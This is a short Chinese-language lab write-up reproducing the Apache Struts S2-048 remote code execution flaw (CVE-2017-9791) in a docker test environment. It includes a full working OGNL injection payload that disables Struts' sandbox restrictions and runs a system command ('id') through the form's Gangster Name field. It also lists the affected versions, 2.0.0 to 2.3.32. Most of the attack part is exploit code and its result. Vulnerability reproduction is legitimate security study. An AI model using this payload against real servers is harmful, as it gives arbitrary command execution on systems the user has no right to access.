S2-048 远程代码执行漏洞(CVE-2017-9791)
1 实验环境
软件名称 | 版本 | 部署方式 | IP |
---|---|---|---|
Apache Struts | latest | docker run -d -p 8084:8080 –name apache-struts docker.io/piesecurity/apache-struts2-cve-2017-5638 | 172.31.5.7 |
2 漏洞复现
打开链接:
http://172.31.5.7:8084/integration/editGangster;jsessionid=768AAC20493D6CD33F9DF8EF6357FAFD
漏洞存在点:
在Gangster Name输入表达式,其它位置任意填写
${2*2}
发现表达式成功执行
准备以下POC填入表单
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?
(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
.(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).
(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec
('id').getInputStream())).(#q)}
#id 返回当前用户的信息
成功获取到当前用户的信息
3 漏洞原理
影响版本: 2.0.0 - 2.3.32